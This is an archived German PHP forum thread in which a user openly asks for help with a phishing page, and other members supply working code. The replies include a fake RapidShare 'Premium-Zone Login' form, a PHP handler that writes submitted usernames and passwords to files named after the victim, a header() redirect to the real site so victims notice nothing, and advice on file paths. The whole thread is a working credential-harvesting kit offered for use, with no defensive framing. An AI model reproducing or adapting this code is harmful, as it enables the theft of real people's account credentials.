PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : PHP: FTP-Funktion



n00kie
14.06.2009, 22:25
Also und zwar habe ich folgendes Problem. Mal angenommen ich habe eine Pishing-Seite, egal für was auch immer. Dort möchte ich nun sobald ein Benutzer seine Daten eingibt und absendet, das sein Computername ermittelt wird, die Daten in eine Datei ohne Endung geschrieben werden, der Name der Datei soll der Computername sein. So zu guter letzt soll diese Datei auf ein bestimmtes Verzeichnis hochgeladen oder angelegt werden.

Daten ermitteln:

$title = getenv("COMPUTERNAME");
$username = $_POST['login'];
$passwd = $_POST['password'];
$content = "Username: " . $username . "<br />" . "Password: " . $passwd;

FTP Connection:

$ftp_server = "Server";
$ftp_name = "Benutzer";
$ftp_pwd = "Passwort";
$connection_id = ftp_connect($ftp_server);
$login_result = ftp_login($connection_id, $ftp_name, $ftp_pwd);
Hierbei wüsste ich nun nicht wie ich eine Datei anlege auf dem FTP.


Hier habe ichs mal mit fopen() versucht:

$filename = "ftp://username:passwd@example.com/".$title;
$handle = fopen($filename, "w");
fwrite($handle, $content);
fclose($handle);

Danke im Vorraus.

VeN0m
14.06.2009, 22:33
Fakt ist, dass Du den Computernamen nicht per PHP ermitteln kannst. Wie denn auch? Wo soll PHP diese Information herhaben? Das einzige, was mir einfiele wäre die IP.



<?php

$ip = $_SERVER['REMOTE_ADDR'];
$dir = "/logs/";
$handle = fopen($dir.$ip,"a");

foreach($_POST AS $key => $value) {

fwrite($handle,$key."=".$value."\r\n");

}

fclose($handle);

?>


Öffnet eine Datei, mit dem Namen der IP auf dem Webspace. Und zwar in dem Verzeichnis, welches in der Variable dir übergeben wird. Existiert die Datei nicht, wird sie angelegt. Zudem wird alles, was per POST übermittelt wird in das Dokument geschrieben. Im Format: Name = Wert (Username = Power-Sven, Passwort = sowieso etc.).

n00kie
14.06.2009, 22:41
Ok, danke dir. Hab ich ganz vergessen, mit dem Computernamen, ist ja klar. qq Aber mit welche von beiden Methoden, sollte ich jetzt dabei auf den FTP-Verbinden? fopen oder per ftp_connect?

VeN0m
14.06.2009, 22:48
Fopen ist das, was bei Phishingseiten am häufigsten genutzt wird und sich auch bewährt. Wenn ein Script auf einem FTP liegt, so lohnt es sich stets, lieber Funktionen wie "fopen", "fwrite" etc. zu nutzen, statt jenen, die vorher ein "ftp_connect" benötigen.

Jedenfalls funktioniert es, und das ist ja die Hauptsache. Ich würde jetzt nicht sagen, dass eine der beiden Methoden einen Vor- oder Nachteil gegenüber der anderen hat. Ich empfehle Dir dennoch, den "ftp_connect"-"Blödsinng" zu lassen, und Dich auf fopen und fwrite zu konzentrieren ;).

n00kie
14.06.2009, 23:02
So richtig klappen tut es noch immer nicht. Ich hab hier mal meinen Quelltext, wie HTML, so auch PHP. Mein Anbieter ist zurzeit 425MB.com, wäre dann der auf ruf von "ftp://beispielname:beispielpassword@425mb.com/" so richtig im Quelltext? Da meine Domain normalerweise scylla.425mb.com lauten würde.


<form action="https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi" method="post">
<input name="uselandingpage" value="1" type="hidden">
<table cellpadding=5>
<tr>
<td>Login:</td>

<td><input type="text" name="login" size=16 style="width:100%" /></td>
</tr>
<tr>
<td>Passwort:</td>
<td><input type="password" name="password" size=16 style="width:100%" /></td>
</tr>
<tr>
<td></td>

<td align=center><input type="submit" value="Premium-Zone Login" /></td>
</tr>
</table>
</form>


$dir = "profiles/Rapidshare/";
$username = $_POST['login'];
$passwd = $_POST['password'];
$title = $username;
$content = "Username: " . $username . "<br />" . "Password: " . $passwd;

$filename = "ftp://beispielusername:beispielpasswd@425mb.com/".$dir.$title;
$handle = fopen($filename, "w");
fwrite($handle, $content);
fclose($handle);

VeN0m
15.06.2009, 12:35
Du kannst das mit "ftp://beispielname:beispielpasswd@425mb.com" weglassen. Wenn ein Script auf einem Space liegt, so kann es auch Aktionen auf die Dateien ausführen.
Auch wäre "ftp://" falsch, da dies das file transfer protokoll ist. Zur Anzeige und Ausführung der Codes benötigst Du jedoch das Hypertext Transfer Protokoll. Aber das ist wie gesagt nicht notwendig.

Ich verstehe nur nicht, wie sich die Phishingseite oben zusammensetzt. Wenn Du als "action" des Formulars Rapidshare angibst, so wird das Formular an die geschickt. Du möchtest es aber ja zu Dir. ;)



<form action="login.php" method="post">
<input name="uselandingpage" value="1" type="hidden">
<table cellpadding=5>
<tr>
<td>Login:</td>

<td><input type="text" name="login" size=16 style="width:100%" /></td>
</tr>
<tr>
<td>Passwort:</td>
<td><input type="password" name="password" size=16 style="width:100%" /></td>
</tr>
<tr>
<td></td>

<td align=center><input type="submit" value="Premium-Zone Login" /></td>
</tr>
</table>
</form>


Hier habe ich schlicht die Formular-action auf "login.php" geändert. Dabei gehe ich davon aus, dass beide Dateien im selben Verzeichnis liegen und die PHP-Datei "login.php" heißt. Musst Du natürlich anpassen.



<?php

header("location: https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi");

$dir = "profiles/Rapidshare/";
$username = $_POST['login'];
$passwd = $_POST['password'];
$title = $username;
$content = "Username: " . $username . "<br />" . "Password: " . $passwd;

$filename = $dir.$title;
$handle = fopen($filename, "w");
fwrite($handle, $content);
fclose($handle);

?>


Die Datei würde jetzt beim Login den User auf "login.php" verweisen, wo das Formular ausgewertet wird. Per header() wird der Aufrufer auf Rapidshare "geschmissen", während seine Daten gelogged werden.
Wenn z.B. die Phishingseite in Root/phishing liegt, so wird Root/phishing/profiles/Rapidshare als Verzeichnis gewählt und eine Datei angelegt, die wie der User heißt.
Entfernt habe ich noch das mit "ftp://beispielusername:[...]", da das wie gesagt nicht notwendig ist.

So, wie ich es Dir jetzt gegeben habe müsste es klappen ;).

Siehe auch: PHP.net - Fopen *klick* (http://de3.php.net/manual/de/function.fopen.php)

n00kie
15.06.2009, 12:54
ja, auf PHP.NET habe ich auch schon nachgeschaut. Mir ist das mit dem Parameter "action" auch erst heute morgen in der Schule aufgefallen. Bevor ich das ganze jetzt ausprobiere frage ich noch kurz was. Also ich bin sagen wir mal in dem Verzeichnis:
"name.425mb.com/rapidshare", so nun möchte ich die Datei aber in "name.425mb.com/profiels/Rapidshare" erstellen lassen. Muss ich dann nicht den Pfad in der Variable $dir in "name.425mb.com/profiels/Rapidshare/" umändern, anstatt "profiles/Rapidshare"?

Ancient87
15.06.2009, 12:54
FTP brauchst du dann wenn du auf einen externen ftp hochladen willst wenn du das zeug am selben server speicherst wo das script liegt kannst dus ganz normal per fopen in eine Datei schreiben.

Wie der Aufruf lautet haengt von deinem Anbieter ab ich nehme an nachdem du dein script da hochgeladen hast weisst du aich die Addresse vom ftp server sollte also kein Problem sein. Aber wie schon angesprochen FTP ist in diesem Falle vollkommen ueberflueesig.

Wenn du es trotzdem versuchen willst
http://us3.php.net/manual/en/ftp.examples-basic.php

sollte alles haben was du brauchst

Edit:

Zu deiner Frage.

Den main namen der domain kanns tu beim file access ja schon komplett weglassen du bist ja schon auf dem server in deinem webroot.
du musst jetzt den relativen Pfad zu der file angeben auf die du schreiben willst.

angenommen "." ist wo dein script liegt = name.425mb.com/rapidshare
wenn du jetzt zu name.425mb.com/profiels/Rapidshare/" willst dann gehst du "../profiels/Rapidshare"


MFG

VeN0m
15.06.2009, 12:57
[..]so nun möchte ich die Datei aber in "name.425mb.com/profiels/Rapidshare" erstellen lassen. Muss ich dann nicht den Pfad in der Variable $dir in "name.425mb.com/profiels/Rapidshare/" umändern, anstatt "profiles/Rapidshare"?

Nein. Ein Slash am Anfang des Pfades bringt Dich zurück in den Root.
Zum Beispiel. Du bist in Root/Rapidshare und möchtest nach Root/profiles/Rapidshare. Das bewerkstelligst Du mit /profiles/Rapidshare. Würdest Du nun einfach profiles/Rapidshare übergeben, so würdest Du in Root/Rapidshare/profiles/Rapidshare landen. Also machst Du folgendes:



$dir = "/profiles/Rapidshare";


Viel Erfolg ;)

n00kie
15.06.2009, 14:16
Danke, nochmal an alle. Das Thema kann denke ich jetzt geschlossen werden, da durch die nette Hilfe von Power-Sven alles geklärt wurde. (: